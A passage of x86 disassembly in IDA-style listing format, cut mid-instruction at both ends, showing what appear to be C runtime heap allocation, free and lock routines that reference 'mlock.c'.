eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41B5F5 cmp [ebp+arg_0], 1 jnz short loc_41B5B9 mov ecx, [ebp+var_C] mov edx, dword_4DB7AC mov eax, [edx+ecx*4] push eax call sub_41B3D0 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_41B5B7 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_41B5B7: ; CODE XREF: sub_41B4F0+BCj jmp short loc_41B5F5 ; --------------------------------------------------------------------------- loc_41B5B9: ; CODE XREF: sub_41B4F0+A2j cmp [ebp+arg_0], 0 jnz short loc_41B5F5 mov edx, [ebp+var_C] mov eax, dword_4DB7AC mov ecx, [eax+edx*4] mov edx, [ecx+0Ch] and edx, 2 test edx, edx jz short loc_41B5F5 mov eax, [ebp+var_C] mov ecx, dword_4DB7AC mov edx, [ecx+eax*4] push edx call sub_41B3D0 add esp, 4 cmp eax, 0FFFFFFFFh jnz short loc_41B5F5 mov [ebp+var_8], 0FFFFFFFFh loc_41B5F5: ; CODE XREF: sub_41B4F0+9Cj ; sub_41B4F0:loc_41B5B7j ... mov eax, [ebp+var_C] mov ecx, dword_4DB7AC mov edx, [ecx+eax*4] push edx mov eax, [ebp+var_C] push eax call sub_418F40 add esp, 8 loc_41B60E: ; CODE XREF: sub_41B4F0+4Bj ; sub_41B4F0+68j jmp loc_41B517 ; --------------------------------------------------------------------------- loc_41B613: ; CODE XREF: sub_41B4F0+39j push 2 call sub_41B820 add esp, 4 cmp [ebp+arg_0], 1 jnz short loc_41B628 mov eax, [ebp+var_4] jmp short loc_41B62B ; --------------------------------------------------------------------------- loc_41B628: ; CODE XREF: sub_41B4F0+131j mov eax, [ebp+var_8] loc_41B62B: ; CODE XREF: sub_41B4F0+136j mov esp, ebp pop ebp retn sub_41B4F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 9 call sub_41B780 add esp, 4 mov eax, dword_4DB130 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4DB130, ecx push 9 call sub_41B820 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, dword_4DB130 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B670 proc near ; CODE XREF: sub_414E20+48p ; sub_41B880+41p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB130 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41B690 mov ecx, [ebp+arg_0] push ecx call [ebp+var_4] add esp, 4 test eax, eax jnz short loc_41B694 loc_41B690: ; CODE XREF: sub_41B670+10j xor eax, eax jmp short loc_41B699 ; --------------------------------------------------------------------------- loc_41B694: ; CODE XREF: sub_41B670+1Ej mov eax, 1 loc_41B699: ; CODE XREF: sub_41B670+22j mov esp, ebp pop ebp retn sub_41B670 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B6A0 proc near ; CODE XREF: ___:0041F894p push ebp mov ebp, esp mov eax, off_443BF4 push eax nop call near ptr 28606DCh mov ecx, off_443BE4 push ecx call near ptr 28606DCh nop mov edx, off_443BD4 push edx nop call near ptr 28606DCh mov eax, off_443BB4 push eax nop call near ptr 28606DCh pop ebp retn sub_41B6A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B6E0 proc near ; CODE XREF: ___:0041F923p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B6ED: ; CODE XREF: sub_41B6E0:loc_41B747j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41B6F6: ; CODE XREF: sub_41B6E0+Bj cmp [ebp+var_4], 30h jge short loc_41B749 mov ecx, [ebp+var_4] cmp dword_443BB0[ecx*4], 0 jz short loc_41B747 cmp [ebp+var_4], 11h jz short loc_41B747 cmp [ebp+var_4], 0Dh jz short loc_41B747 cmp [ebp+var_4], 9 jz short loc_41B747 cmp [ebp+var_4], 1 jz short loc_41B747 mov edx, [ebp+var_4] mov eax, dword_443BB0[edx*4] push eax nop call near ptr 2700770h push 2 mov ecx, [ebp+var_4] mov edx, dword_443BB0[ecx*4] push edx call sub_415860 add esp, 8 loc_41B747: ; CODE XREF: sub_41B6E0+27j ; sub_41B6E0+2Dj ... jmp short loc_41B6ED ; --------------------------------------------------------------------------- loc_41B749: ; CODE XREF: sub_41B6E0+1Aj mov eax, off_443BD4 push eax nop call near ptr 2700770h mov ecx, off_443BE4 push ecx nop call near ptr 2700770h mov edx, off_443BF4 push edx call near ptr 2700770h nop mov eax, off_443BB4 push eax call near ptr 2700770h nop mov esp, ebp pop ebp retn sub_41B6E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B780 proc near ; CODE XREF: sub_414E20+6p ; sub_415260+6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp dword_443BB0[eax*4], 0 jnz short loc_41B802 push 0E1h push offset aMlock_c ; "mlock.c" push 2 push 18h call sub_414DD0 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41B7BA push 11h call sub_41A9A0 add esp, 4 loc_41B7BA: ; CODE XREF: sub_41B780+2Ej push 11h call sub_41B780 add esp, 4 mov ecx, [ebp+arg_0] cmp dword_443BB0[ecx*4], 0 jnz short loc_41B7EA mov edx, [ebp+var_4] push edx nop call near ptr 28606DCh mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dword_443BB0[eax*4], ecx jmp short loc_41B7F8 ; --------------------------------------------------------------------------- loc_41B7EA: ; CODE XREF: sub_41B780+4Fj push 2 mov edx, [ebp+var_4] push edx call sub_415860 add esp, 8 loc_41B7F8: ; CODE XREF: sub_41B780+68j push 11h call sub_41B820 add esp, 4 loc_41B802: ; CODE XREF: sub_41B780+Fj mov eax, [ebp+arg_0] mov ecx, dword_443BB0[eax*4] push ecx nop call near ptr 77F7E21Fh mov esp, ebp pop ebp retn sub_41B780 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B820 proc near ; CODE XREF: sub_414E20+2Bp ; sub_415260+31p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, dword_443BB0[eax*4] push ecx nop call near ptr 77F7E300h pop ebp retn sub_41B820 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax push 0 call near ptr 286074Ch nop push 0FFh call near ptr 77E75CB5h nop pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B860 proc near ; CODE XREF: sub_41BA10+10p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, dword_4DB12C push eax mov ecx, [ebp+arg_0] push ecx call sub_41B880 add esp, 8 pop ebp retn sub_41B860 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B880 proc near ; CODE XREF: sub_41B860+Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFFFE0h jbe short loc_41B88E xor eax, eax jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B88E: ; CODE XREF: sub_41B880+8j ; sub_41B880:loc_41B8D1j cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_41B8A5 mov eax, [ebp+arg_0] push eax call sub_41B8E0 add esp, 4 mov [ebp+var_4], eax jmp short loc_41B8AC ; --------------------------------------------------------------------------- loc_41B8A5: ; CODE XREF: sub_41B880+12j mov [ebp+var_4], 0 loc_41B8AC: ; CODE XREF: sub_41B880+23j cmp [ebp+var_4], 0 jnz short loc_41B8B8 cmp [ebp+arg_4], 0 jnz short loc_41B8BD loc_41B8B8: ; CODE XREF: sub_41B880+30j mov eax, [ebp+var_4] jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8BD: ; CODE XREF: sub_41B880+36j mov ecx, [ebp+arg_0] push ecx call sub_41B670 add esp, 4 test eax, eax jnz short loc_41B8D1 xor eax, eax jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8D1: ; CODE XREF: sub_41B880+4Bj jmp short loc_41B88E ; --------------------------------------------------------------------------- loc_41B8D3: ; CODE XREF: sub_41B880+Cj ; sub_41B880+3Bj ... mov esp, ebp pop ebp retn sub_41B880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B8E0 proc near ; CODE XREF: sub_414EA0+19Dp ; sub_41B880+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_443C78 ja short loc_41B91D push 9 call sub_41B780 add esp, 4 mov ecx, [ebp+arg_0] push ecx call sub_41C510 add esp, 4 mov [ebp+var_4], eax push 9 call sub_41B820 add esp, 4 cmp [ebp+var_4], 0 jz short loc_41B91D mov eax, [ebp+var_4] jmp short loc_41B949 ; --------------------------------------------------------------------------- loc_41B91D: ; CODE XREF: sub_41B8E0+Dj ; sub_41B8E0+36j cmp [ebp+arg_0], 0 jnz short loc_41B92A mov [ebp+arg_0], 1 loc_41B92A: ; CODE XREF: sub_41B8E0+41j mov edx, [ebp+arg_0] add edx, 0Fh and edx, 0FFFFFFF0h mov [ebp+arg_0], edx mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_4DB7A0 push ecx nop call near ptr 2870000h loc_41B949: ; CODE XREF: sub_41B8E0+3Bj mov esp, ebp pop ebp retn sub_41B8E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B950 proc near ; CODE XREF: sub_414EA0+79p ; sub_4152A0+C1p ... push ebp mov ebp, esp mov eax, 1 pop ebp retn sub_41B950 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B960 proc near ; CODE XREF: sub_4152A0+2D4p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_4], 0FFFFFFE0h jbe short loc_41B973 xor eax, eax jmp loc_41BA09 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B960+Aj push 9 call sub_41B780 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_41BE80 add esp, 4 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41B9D1 mov [ebp+var_4], 0 mov ecx, [ebp+arg_4] cmp ecx, dword_443C78 ja short loc_41B9C2 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_8] push ecx call sub_41CD50 add esp, 0Ch test eax, eax jz short loc_41B9C2 mov edx, [ebp+arg_0] mov [ebp+var_4], edx loc_41B9C2: ; CODE XREF: sub_41B960+42j ; sub_41B960+5Aj push 9 call sub_41B820 add esp, 4 mov eax, [ebp+var_4] jmp short loc_41BA09 ; --------------------------------------------------------------------------- loc_41B9D1: ; CODE XREF: sub_41B960+30j push 9 call sub_41B820 add esp, 4 cmp [ebp+arg_4], 0 jnz short loc_41B9E8 mov [ebp+arg_4], 1 loc_41B9E8: ; CODE XREF: sub_41B960+7Fj mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, dword_4DB7A0 push eax nop call near ptr 2880000h loc_41BA09: ; CODE XREF: sub_41B960+Ej ; sub_41B960+6Fj mov esp, ebp pop ebp retn sub_41B960 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA10 proc near ; CODE XREF: sub_4152A0+2AFp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_0], 0 jnz short loc_41BA2D mov eax, [ebp+arg_4] push eax call sub_41B860 add esp, 4 jmp loc_41BBF6 ; --------------------------------------------------------------------------- loc_41BA2D: ; CODE XREF: sub_41BA10+Aj cmp [ebp+arg_4], 0 jnz short loc_41BA46 mov ecx, [ebp+arg_0] push ecx call sub_41BC00 add esp, 4 xor eax, eax jmp loc_41BBF6 ; --------------------------------------------------------------------------- loc_41BA46: ; CODE XREF: sub_41BA10+21j ; sub_41BA10:loc_41BBF1j mov [ebp+var_8], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_41BBC9 push 9 call sub_41B780 add esp, 4 mov edx, [ebp+arg_0] push edx call sub_41BE80 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz loc_41BB8C mov eax, [ebp+arg_4] cmp eax, dword_443C78 ja short loc_41BB00 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_C] push eax call sub_41CD50 add esp, 0Ch test eax, eax jz short loc_41BAA5 mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx jmp short loc_41BB00 ; --------------------------------------------------------------------------- loc_41BAA5: ; CODE XREF: sub_41BA10+8Bj mov edx, [ebp+arg_4] push edx call sub_41C510 add esp, 4 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41BB00 mov eax, [ebp+arg_0] mov ecx, [eax-4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] cmp edx, [ebp+arg_4] jnb short loc_41BAD6 mov eax, [ebp+var_4] mov [ebp+var_10], eax jmp short loc_41BADC ; --------------------------------------------------------------------------- loc_41BAD6: ; CODE XREF: sub_41BA10+BCj mov ecx, [ebp+arg_4] mov [ebp+var_10], ecx loc_41BADC: ; CODE XREF: sub_41BA10+C4j mov edx, [ebp+var_10] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_8] push ecx call sub_4187B0 add esp, 0Ch mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_C] push eax call sub_41BF40 add esp, 8 loc_41BB00: ; CODE XREF: sub_41BA10+73j ; sub_41BA10+93j ... cmp [ebp+var_8], 0 jnz short loc_41BB80 cmp [ebp+arg_4], 0 jnz short loc_41BB13 mov [ebp+arg_4], 1 loc_41BB13: ; CODE XREF: sub_41BA10+FAj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx push 0 mov eax, dword_4DB7A0 push eax nop call near ptr 2870000h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41BB80 mov ecx, [ebp+arg_0] mov edx, [ecx-4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41BB56 mov ecx, [ebp+var_4] mov [ebp+var_14], ecx jmp short loc_41BB5C ; --------------------------------------------------------------------------- loc_41BB56: ; CODE XREF: sub_41BA10+13Cj mov edx, [ebp+arg_4] mov [ebp+var_14], edx loc_41BB5C: ; CODE XREF: sub_41BA10+144j mov eax, [ebp+var_14] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_8] push edx call sub_4187B0 add esp, 0Ch mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_C] push ecx call sub_41BF40 add esp, 8 loc_41BB80: ; CODE XREF: sub_41BA10+F4j ; sub_41BA10+128j push 9 call sub_41B820 add esp, 4 jmp short loc_41BBC9 ; --------------------------------------------------------------------------- loc_41BB8C: ; CODE XREF: sub_41BA10+64j push 9 call sub_41B820 add esp, 4 cmp [ebp+arg_4], 0 jnz short loc_41BBA3 mov [ebp+arg_4], 1 loc_41BBA3: ; CODE XREF: sub_41BA10+18Aj mov edx, [ebp+arg_4] add edx, 0Fh and edx, 0FFFFFFF0h mov [ebp+arg_4], edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx push 0 mov edx, dword_4DB7A0 push edx nop call near ptr 2880000h mov [ebp+var_8], eax loc_41BBC9: ; CODE XREF: sub_41BA10+41j ; sub_41BA10+17Aj cmp [ebp+var_8], 0 jnz short loc_41BBD8 cmp dword_4DB12C, 0 jnz short loc_41BBDD loc_41BBD8: ; CODE XREF: sub_41BA10+1BDj mov eax, [ebp+var_8] jmp short loc_41BBF6 ; --------------------------------------------------------------------------- loc_41BBDD: ; CODE XREF: sub_41BA10+1C6j mov eax, [ebp+arg_4] push eax call sub_41B670 add esp, 4 test eax, eax jnz short loc_41BBF1 xor eax, eax jmp short loc_41BBF6 ; --------------------------------------------------------------------------- loc_41BBF1: ; CODE XREF: sub_41BA10+1DBj jmp loc_41BA46 ; --------------------------------------------------------------------------- loc_41BBF6: ; CODE XREF: sub_41BA10+18j ; sub_41BA10+31j ... mov esp, ebp pop ebp retn sub_41BA10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC00 proc near ; CODE XREF: sub_415890+26Ep ; sub_415890+3B2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_41BC0C jmp short loc_41BC64 ; --------------------------------------------------------------------------- loc_41BC0C: ; CODE XREF: sub_41BC00+8j push 9 call sub_41B780 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_41BE80 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41BC47 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_41BF40 add esp, 8 push 9 call sub_41B820 add esp, 4 jmp short loc_41BC64 ; --------------------------------------------------------------------------- loc_41BC47: ; CODE XREF: sub_41BC00+29j push 9 call sub_41B820 add esp, 4 mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_4DB7A0 push ecx nop call near ptr 28820CAh loc_41BC64: ; CODE XREF: sub_41BC00+Aj ; sub_41BC00+45j mov esp, ebp pop ebp retn sub_41BC00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC70 proc near ; CODE XREF: sub_415F70+30p ; ___:0041BCF3p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0FFFFFFFEh push 9 call sub_41B780 add esp, 4 call sub_41D470 test eax, eax jge short loc_41BC95 mov [ebp+var_4], 0FFFFFFFCh loc_41BC95: ; CODE XREF: sub_41BC70+1Cj push 9 call sub_41B820 add esp, 4 push 0 push 0 mov eax, dword_4DB7A0 push eax nop call near ptr 2830000h test eax, eax jnz short loc_41BCDD nop call near ptr 26908EFh cmp eax, 78h jnz short loc_41BCD6 call sub_420530 mov dword ptr [eax], 78h call sub_420520 mov dword ptr [eax], 28h jmp short loc_41BCDD ; --------------------------------------------------------------------------- loc_41BCD6: ; CODE XREF: sub_41BC70+4Cj mov [ebp+var_4], 0FFFFFFFCh loc_41BCDD: ; CODE XREF: sub_41BC70+41j ; sub_41BC70+64j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41BC70 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_41BC70 pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 push 1000h xor eax, eax cmp dword ptr [ebp+8], 0 setz al push eax call near ptr 2890000h nop mov dword_4DB7A0, eax cmp dword_4DB7A0, 0 jnz short loc_41BD2C xor eax, eax jmp short loc_41BD4B ; --------------------------------------------------------------------------- loc_41BD2C: ; CODE XREF: ___:0041BD26j call sub_41BE20 test eax, eax jnz short loc_41BD46 mov ecx, dword_4DB7A0 push ecx call near ptr 288298Bh nop xor eax, eax jmp short loc_41BD4B ; --------------------------------------------------------------------------- loc_41BD46: ; CODE XREF: ___:0041BD33j mov eax, 1 loc_41BD4B: ; CODE XREF: ___:0041BD2Aj ; ___:0041BD44j pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov eax, dword_4DB79C mov [ebp-8], eax mov dword ptr [ebp-4], 0 jmp short loc_41BD70 ; --------------------------------------------------------------------------- loc_41BD67: ; CODE XREF: ___:0041BDC4j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_41BD70: ; CODE XREF: ___:0041BD65j mov edx, [ebp-4] cmp edx, dword_4DB798 jge short loc_41BDC6 push 4000h push 100000h mov eax, [ebp-8] mov ecx, [eax+0Ch] push ecx nop call near ptr 2890603h push 8000h push 0 mov edx, [ebp-8] mov eax, [edx+0Ch] push eax nop call near ptr 2890603h mov ecx, [ebp-8] mov edx, [ecx+10h] push edx push 0 mov eax, dword_4DB7A0 push eax nop call near ptr 28820CAh mov ecx, [ebp-8] add ecx, 14h mov [ebp-8], ecx jmp short loc_41BD67 ; --------------------------------------------------------------------------- loc_41BDC6: ; CODE XREF: ___:0041BD79j mov edx, dword_4DB79C push edx push 0 mov eax, dword_4DB7A0 push eax nop call near ptr 28820CAh mov ecx, dword_4DB7A0 push ecx call near ptr 288298Bh nop mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, dword_443C78 pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword ptr [ebp+8], 3F8h jbe short loc_41BE10 xor eax, eax jmp short loc_41BE1D ; --------------------------------------------------------------------------- loc_41BE10: ; CODE XREF: ___:0041BE0Aj mov eax, [ebp+8] mov dword_443C78, eax mov eax, 1 loc_41BE1D: ; CODE XREF: ___:0041BE0Ej pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE20 proc near ; CODE XREF: ___:loc_41BD2Cp push ebp mov ebp, esp push 140h push 0 mov eax, dword_4DB7A0 push eax call near ptr 2870000h nop mov dword_4DB79C, eax cmp dword_4DB79C, 0 jnz short loc_41BE48 xor eax, eax jmp short loc_41BE77 ; --------------------------------------------------------------------------- loc_41BE48: ; CODE XREF: sub_41BE20+22j mov ecx, dword_4DB79C mov dword_4DB790, ecx mov dword_4DB794, 0 mov dword_4DB798, 0 mov dword_4DB788, 10h mov eax, 1 loc_41BE77: ; CODE XREF: sub_41BE20+26j pop ebp retn sub_41BE20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE80 proc near ; CODE XREF: sub_4163D0+30p ; sub_41B960+21p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_4DB798 imul eax, 14h mov ecx, dword_4DB79C add ecx, eax mov [ebp+var_C], ecx mov edx, dword_4DB79C mov [ebp+var_8], edx loc_41BEA2: ; CODE XREF: sub_41BE80+4Dj mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_41BECF mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] sub edx, [ecx+0Ch] mov [ebp+var_4], edx cmp [ebp+var_4], 100000h jnb short loc_41BEC4 mov eax, [ebp+var_8] jmp short loc_41BED1 ; --------------------------------------------------------------------------- loc_41BEC4: ; CODE XREF: sub_41BE80+3Dj mov eax, [ebp+var_8] add eax, 14h mov [ebp+var_8], eax jmp short loc_41BEA2 ; --------------------------------------------------------------------------- loc_41BECF: ; CODE XREF: sub_41BE80+28j xor eax, eax loc_41BED1: ; CODE XREF: sub_41BE80+42j mov esp, ebp pop ebp retn sub_41BE80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEE0 proc near ; CODE XREF: sub_4163D0+4Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_8], ecx mov edx, [ebp+var_8] shr edx, 0Fh mov [ebp+var_4], edx mov eax, 80000000h mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, eax test edx, edx jnz short loc_41BF31 mov eax, [ebp+var_8] and eax, 0Fh test eax, eax jnz short loc_41BF31 mov ecx, [ebp+var_8] and ecx, 0FFFh test ecx, ecx jz short loc_41BF31 mov [ebp+var_C], 1 jmp short loc_41BF38 ; --------------------------------------------------------------------------- loc_41BF31: ; CODE XREF: sub_41BEE0+2Fj ; sub_41BEE0+39j ... mov [ebp+var_C], 0 loc_41BF38: ; CODE XREF: sub_41BEE0+4Fj mov eax, [ebp+var_C] mov esp, ebp pop ebp retn sub_41BEE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BF40 proc near ; CODE XREF: sub_41BA10+E8p ; sub_41BA10+168p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_3C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] sub eax, [edx+0Ch] mov [ebp+var_10], eax mov ecx, [ebp+var_10] shr ecx, 0Fh mov [ebp+var_4], ecx mov edx, [ebp+var_4] imul edx, 204h mov eax, [ebp+var_3C] lea ecx, [eax+edx+144h] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] sub edx, 4 mov [ebp+var_1C], edx mov eax, [ebp+var_1C] mov ecx, [eax] sub ecx, 1 mov [ebp+var_30], ecx mov edx, [ebp+var_1C] add edx, [ebp+var_30] mov [ebp+var_38], edx mov eax, [ebp+var_38] mov ecx, [eax] mov [ebp+var_14], ecx mov edx, [ebp+var_1C] mov eax, [edx-4] mov [ebp+var_C], eax mov ecx, [ebp+var_14] and ecx, 1 test ecx, ecx jnz loc_41C0D8 mov edx, [ebp+var_14] sar edx, 4 sub edx, 1 mov [ebp+var_24], edx cmp [ebp+var_24], 3Fh jbe short loc_41BFCF mov [ebp+var_24], 3Fh loc_41BFCF: ; CODE XREF: sub_41BF40+86j mov eax, [ebp+var_38] mov ecx, [ebp+var_38] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_41C0B1 cmp [ebp+var_24], 20h jnb short loc_41C046 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+44h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+44h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41C044 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, eax mov eax, [ebp+arg_0] mov [eax], edx loc_41C044: ; CODE XREF: sub_41BF40+EAj jmp short loc_41C0B1 ; --------------------------------------------------------------------------- loc_41C046: ; CODE XREF: sub_41BF40+A5j mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+0C4h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+0C4h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_24] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41C0B1 mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_41C0B1: ; CODE XREF: sub_41BF40+9Bj ; sub_41BF40:loc_41C044j ... mov eax, [ebp+var_38] mov ecx, [eax+8] mov edx, [ebp+var_38] mov eax, [edx+4] mov [ecx+4], eax mov ecx, [ebp+var_38] mov edx, [ecx+4] mov eax, [ebp+var_38] mov ecx, [eax+8] mov [edx+8], ecx mov edx, [ebp+var_30] add edx, [ebp+var_14] mov [ebp+var_30], edx loc_41C0D8: ; CODE XREF: sub_41BF40+70j mov eax, [ebp+var_30] sar eax, 4 sub eax, 1 mov [ebp+var_28], eax cmp [ebp+var_28], 3Fh jbe short loc_41C0F1 mov [ebp+var_28], 3Fh loc_41C0F1: ; CODE XREF: 